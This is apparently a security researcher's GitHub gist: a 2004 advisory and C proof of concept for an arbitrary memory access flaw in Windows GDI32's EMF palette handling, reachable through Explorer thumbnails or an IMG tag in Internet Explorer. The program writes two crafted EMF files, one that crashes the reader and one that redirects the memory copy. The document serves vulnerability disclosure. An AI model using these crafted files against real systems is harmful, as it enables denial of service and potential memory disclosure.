Created
October 7, 2019 12:33
-
-
Save ykoster/3f97cf98ea89f2638b54cb8d50cb393b to your computer and use it in GitHub Desktop.
Enhanced Meta File arbitrary memory access vulnerability - proof of concept
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* ----------------------------------------------------------------------------- | |
* Enhanced Meta File arbitrary memory access vulnerability | |
* Revision 0.1, Yorick Koster, November 5th, 2004 | |
* ----------------------------------------------------------------------------- | |
* Summary: | |
* --------- | |
* An memory access flaw has been discovered in the | |
* GetEnhMetaFilePaletteEntries() [1] function. This flaw can be used to crash | |
* programs that call this function. Furthermore, it is also possible to copy | |
* arbitrary parts of memory into a buffer that is passed to the | |
* GetEnhMetaFilePaletteEntries() function (lppe). | |
* | |
* This function is called from within mshtml.dll and is used by Windows | |
* Explorer and Internet Explorer. The buffer overflow can be trigger using the | |
* view -> thumbnails option from the Explorer menu or it can be trigger using | |
* the IMG tag in an HTML page. | |
* | |
* This issue has been tested on fully patched (October 2004) Windows 2000 SP4 | |
* running Internet Explorer 6.0 SP1. | |
* ----------------------------------------------------------------------------- | |
* Details: | |
* --------- | |
* Whenever (Internet) Explorer has to render an EMF file, it loads the file | |
* into memory. The EMF file is referenced by a handle. This handle is used to | |
* in several MetaFile functions including GetEnhMetaFilePaletteEntries(). This | |
* function is called from within mshtml.dll. The following dump, which has been | |
* taken using OllyDbg attached to Internet Explorer running on Windows 2000 | |
* SP4, shows how this function is called: | |
* | |
* 637CBCF8 . 8D43 60 LEA EAX,DWORD PTR DS:[EBX+60] | |
* 637CBCFB . 50 PUSH EAX | |
* 637CBCFC . BE 00010000 MOV ESI,100 | |
* 637CBD01 . 56 PUSH ESI | |
* 637CBD02 . FF75 60 PUSH DWORD PTR SS:[EBP+60] | |
* 637CBD05 . FF15 54105863 CALL DWORD PTR DS:[<&GDI32.GetEnhMetaFilePaletteEntries>] | |
* | |
* First, the address of the buffer that is used to store the palette | |
* information is loaded into EAX and pushed on the stack. This buffer is a | |
* fixed size. Then 100h (256) is pushed on the stack, this value specifies | |
* the maximum number of palette entries that can be stored in the buffer. | |
* Finally, the handle to the EMF file, which was just loaded into memory is | |
* pushed onto the stack and the GetEnhMetaFilePaletteEntries() function is | |
* called. | |
* | |
* The GetEnhMetaFilePaletteEntries() funcion is located in GDI32.dll. This | |
* function is located at address 77F68CC7h in Internet Explorer (Windows 2000). | |
* The function first performs some basic verification on its parameters. | |
* A pointer to the EMF fike is loaded into ECX using the following instruction: | |
* | |
* 77F68CF0 8B48 0C MOV ECX,DWORD PTR DS:[EAX+C] | |
* | |
* After this the nPalEntries (ECX + 44h) is compared with the maximum number of | |
* palette entries that was supplied to the GetEnhMetaFilePaletteEntries() | |
* function. If nPalEntries is greater than the maximum number of palette | |
* entries (256), then this number is used when copying the palette entries into | |
* the buffer. Thus the maximum number of palette entries is allways limited to | |
* 256. This can be observed in the following piece of code: | |
* | |
* 77F68CF3 8B41 44 MOV EAX,DWORD PTR DS:[ECX+44] | |
* 77F68CF6 394424 10 CMP DWORD PTR SS:[ESP+10],EAX | |
* 77F68CFA 73 04 JNB SHORT GDI32.77F68D00 | |
* 77F68CFC 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] | |
* | |
* The GetEnhMetaFilePaletteEntries() function then tries to determine the | |
* location of the palette entries. First, the end of the EMF file is calculated | |
* by adding the value of nBytes (ECX + 30h) to the EMF pointer (ECX): | |
* | |
* 77F68D00 8B51 30 MOV EDX,DWORD PTR DS:[ECX+30] | |
* 77F68D03 03D1 ADD EDX,ECX | |
* | |
* The last 4 bytes of the EMF file (EDX - 4h) are then substracted from the end | |
* of the EMF file (EDX). This value is used as the start of the palette entries. | |
* The function tries to store the value from EDX + Ch in ESI. This address is | |
* determined from the EMF file and can thus be set to any value. If EDX + Ch | |
* points to an invalid address, an access violation will occur, crashing the | |
* program that called GetEnhMetaFilePaletteEntries(): | |
* | |
* 77F68D07 2B52 FC SUB EDX,DWORD PTR DS:[EDX-4] | |
* 77F68D0A 8B72 0C MOV ESI,DWORD PTR DS:[EDX+C] | |
* | |
* The function continues when ECX + Ch points to a valid address. The value at | |
* this address is stored and the end of the EMF file (EDX) is added to ESI. | |
* The address in ESI is used to copy upto 256 palette entries into the buffer | |
* that was supplied to the GetEnhMetaFilePaletteEntries() function (EDI). By | |
* carefully crafting and EMF file, it is possible to load any address into ESI | |
* and cause the data located at this address to be copied into the supplied | |
* buffer. | |
* | |
* 77F68D0D 03F2 ADD ESI,EDX | |
* 77F68D0F F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] | |
* | |
* If an attacker can somehow manage to retrieve this data, for example when the | |
* user saves the image and the palette entries are also stored in this image, | |
* it may be possible to obtained sensitive information from the target's | |
* memory. Note that the attacker als has to find a way to cause the data to be | |
* send back to the attacker. This may be done automatically, or the attacker | |
* has to use some sort of social engineering. This scenario has not yet been | |
* researched and is therefore just a theoretical exploit scenario. | |
* ----------------------------------------------------------------------------- | |
* Proof of concept: | |
* ------------------ | |
* This code creates two EMF files. One EMF file triggers an access violation. | |
* The other EMF file demonstrates how an attacker can access arbitrary memory | |
* regions. This example cause the GetEnhMetaFilePaletteEntries() function to | |
* copy parts of the EMF header in to the palette entries buffer (lppe). While | |
* this isn't really a usefull example, it demonstrates how to set EDX & ESI to | |
* arbitrary memory addresses (this can be seen using a debugger, set break on | |
* address 77F68D0Fh). | |
* ----------------------------------------------------------------------------- | |
* Conclusion: | |
* ------------ | |
* Currently, it is only possible to trigger a denial of service condition. | |
* However, there is a theoretical possibility, that an attacker may be able to | |
* retrieve sensitive information from target users. | |
* | |
* Crashing client applications isn't really a threat. If someone is able to | |
* crash Internet Explorer, this will only annoy users. Therefore, these users | |
* will avoid web sites that crashes their browser. | |
* ----------------------------------------------------------------------------- | |
* References: | |
* ------------ | |
* [1] http://msdn.microsoft.com/library/en-us/gdi/metafile_19o3.asp | |
* ----------------------------------------------------------------------------- | |
*/ | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <stdio.h> | |
#include <windows.h> | |
int main(int argc, char *argv[]) | |
{ | |
int fd; | |
ENHMETAHEADER hEMF; | |
DWORD i; | |
DWORD data; | |
// clear EMF header | |
ZeroMemory(&hEMF, sizeof(ENHMETAHEADER)); | |
// default values | |
hEMF.iType = EMR_HEADER; | |
hEMF.dSignature = ENHMETA_SIGNATURE; | |
hEMF.nVersion = 0x10000; | |
// any arbitrary value will do | |
hEMF.nHandles = 0x1; | |
// Note I am lazy, everything is stored in the EMF header | |
/**** crash.emf, causes an access violation ****/ | |
hEMF.nSize = sizeof(ENHMETAHEADER) + 4; | |
hEMF.nBytes = hEMF.nSize; | |
fd = open("crash.emf", O_CREAT | O_WRONLY | O_TRUNC); | |
if(fd < 0) | |
{ | |
printf("Couldn't create file crash.emf!\n"); | |
return 1; | |
} | |
// write the header | |
write(fd, &hEMF, sizeof(ENHMETAHEADER)); | |
// trigger an access violation | |
// SUB EDX,DWORD PTR DS:[EDX-4] | |
data = 0x00FF0000; | |
write(fd, &data, sizeof(DWORD)); | |
close(fd); | |
/**** end crash.emf ****/ | |
/**** memcopy.emf, copy arbitray memory regions ****/ | |
hEMF.nSize = sizeof(ENHMETAHEADER) + 1044; | |
hEMF.nBytes = hEMF.nSize; | |
// copy 256 palette entries (max) | |
hEMF.nPalEntries = 256; | |
fd = open("memcopy.emf", O_CREAT | O_WRONLY | O_TRUNC); | |
if(fd < 0) | |
{ | |
printf("Couldn't create file memcopy.emf!\n"); | |
return 1; | |
} | |
// write the header | |
write(fd, &hEMF, sizeof(ENHMETAHEADER)); | |
// pad | |
data = 0xDEADCAFE; | |
write(fd, &data, sizeof(DWORD)); | |
write(fd, &data, sizeof(DWORD)); | |
write(fd, &data, sizeof(DWORD)); | |
// * step 2 * set ESI | |
// MOV ESI,DWORD PTR DS:[EDX+C] | |
// ADD ESI,EDX | |
data = 16; | |
write(fd, &data, sizeof(DWORD)); | |
// This data will get copied | |
data = 0x44444444; | |
for(i = 0; i < hEMF.nPalEntries; i++) | |
{ | |
write(fd, &data, sizeof(DWORD)); | |
} | |
// * step 1 * set EDX | |
// SUB EDX,DWORD PTR DS:[EDX-4] | |
data = hEMF.nBytes - sizeof(ENHMETAHEADER); | |
write(fd, &data, sizeof(DWORD)); | |
close(fd); | |
/**** end memcopy.emf ****/ | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment